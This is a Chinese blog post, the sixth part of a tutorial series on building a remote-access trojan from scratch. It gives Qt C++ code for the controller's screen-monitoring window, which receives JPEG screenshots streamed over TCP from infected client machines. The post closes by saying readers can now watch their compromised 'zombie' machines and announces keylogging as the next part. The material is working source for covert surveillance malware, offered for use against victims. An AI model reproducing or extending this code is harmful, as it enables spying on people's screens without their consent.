从零开始做远控 第六篇 屏幕监控

远控 专栏收录该内容
14 篇文章 3 订阅

如果你从没看过这系列教程请点击:从零开始做远控 简介篇

屏幕监控:
这一节我们是完成屏幕监控的最后一部分,就是在服务端里发送指令,然后从客户端不断获取屏幕截图数据,画到窗口上,形成实时监控。


晒下效果图:




ScreenSpy类:
1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。
2.启动新的服务端,专门监控屏幕.
3.定义数据包头,可以从上一节复制过来。
// 数据头
typedef struct {
	unsigned int len;    // jpg文件大小
} ScreenSpyHeader;


4.屏幕截图数据读取和打印在窗口上
void ScreenSpy::processBuffer()
{
    QByteArray *buf = mSock->buffer();


    while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
        // 读取头
        if (mScreenLen == 0) {
            if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
                ScreenSpyHeader header;
                memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
                buf->remove(0, sizeof(ScreenSpyHeader));


                // 设置图片数据
                mScreenLen = header.len;
            } else {
                break;
            }
        }


        // 读取JPG图片
        if (mScreenLen > 0){
            if ((unsigned int)buf->size() >= mScreenLen) {
                // 保存新图片
                mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);


                // 显示图片
                mScreenLabel->setPixmap(mScreenPixmap);


                // 擦除数据
                buf->remove(0, mScreenLen);
                mScreenLen = 0;
            } else {
                break;
            }
        }
    }
}

代码

ScreenSpy.h

/*
 *  Author: sumkee911@gmail.com
 *  Date: 2016-12-21
 *  Brief: 从客户端接收屏幕图片数据,然后画在窗口上
 *
 */

#ifndef SCREENSPY_H
#define SCREENSPY_H

#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>

class ScreenSpy : public QWidget
{
    Q_OBJECT
public:
    explicit ScreenSpy( QWidget *parent = 0);

    // 数据头
    typedef struct {
        unsigned int len;    // jpg文件大小
    } ScreenSpyHeader;


    // 开始监控服务器,然后返回新的端口号
    int startScreenSpyServer(QString userName);

private:
    QLabel *mScreenLabel;        // 用来显示图片
    TcpServer *mServer;   // 屏幕监控服务端
    TcpSocket *mSock;   // 屏幕监控客户端
    QPixmap mScreenPixmap;    // 当前屏幕截图
    unsigned int mScreenLen;    // JPG图片大小

signals:

public slots:
    // 有新客户连接
    void newConnection(QTcpSocket *s);

    // 处理新数据
    void processBuffer();

protected:
    // 大小重置
    void resizeEvent(QResizeEvent *);

    // 关闭
    void closeEvent(QCloseEvent *);
};

#endif // SCREENSPY_H

ScreenSpy.cpp

#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :
    QWidget(parent), mScreenLen(0)
{
    // 初始化窗口
    const int w = 800, h = 450;
    const int x = (QApplication::desktop()->width() - w) >> 1;
    const int y = (QApplication::desktop()->height() - h) >> 1;
    this->setGeometry(x, y, w, h);
    // 图片label
    mScreenLabel = new QLabel(this);
    mScreenLabel->setGeometry(0,0, w, h);
    mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{
    // 设置窗口标题
    this->setWindowTitle(userName.append("-屏幕监控"));
    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));
    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启屏幕监控服务端失败";
        deleteLater();
        return -1;
    }
    // 开启监控窗口
    this->show();
    return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{
    // 新增客户
    mSock = new TcpSocket(s, this);
    connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
    connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));
    // 不再监听新客户
    mServer->server()->close();
}
void ScreenSpy::processBuffer()
{
    QByteArray *buf = mSock->buffer();
    while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
        // 读取头
        if (mScreenLen == 0) {
            if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {
                ScreenSpyHeader header;
                memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));
                buf->remove(0, sizeof(ScreenSpyHeader));
                // 设置图片数据
                mScreenLen = header.len;
            } else {
                break;
            }
        }
        // 读取JPG图片
        if (mScreenLen > 0){
            if ((unsigned int)buf->size() >= mScreenLen) {
                // 保存新图片
                mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);
                // 显示图片
                mScreenLabel->setPixmap(mScreenPixmap);
                // 擦除数据
                buf->remove(0, mScreenLen);
                mScreenLen = 0;
            } else {
                break;
            }
        }
    }
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{
    // 重设mScreenLabel大小
    mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{
    // 删除窗口
    deleteLater();
}



6.子ZeroClient类里增加新的公有函数sendScreenSpy()。
void ZeroClient::sendScreenSpy(int port)
{
    QString data;
    data.append(CmdScreenSpy+CmdSplit);
    data.append("PORT"+CmdSplit+QString::number(port));
    data.append(CmdEnd);
    mSock->write(data.toLocal8Bit());
}


7.修改Widget类里的screenSpyClicked()。
void Widget::screenSpyClicked()
{
    int id = currentClientIdFromTable();
    if (id != -1) {
        ScreenSpy *ss = new ScreenSpy();
        ZeroClient *client = mZeroServer->client(id);
        int port = ss->startScreenSpyServer(QString::number(id));


        // 开始监控
        client->sendScreenSpy(port);
    }
}


本节总结:
我们已经完成了屏幕监控了,现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。

本节完整代码:
对上节作出的修改:
1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。
2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。

下载完整代码
  • 4
    点赞
  • 0
    评论
  • 5
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

©️2021 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值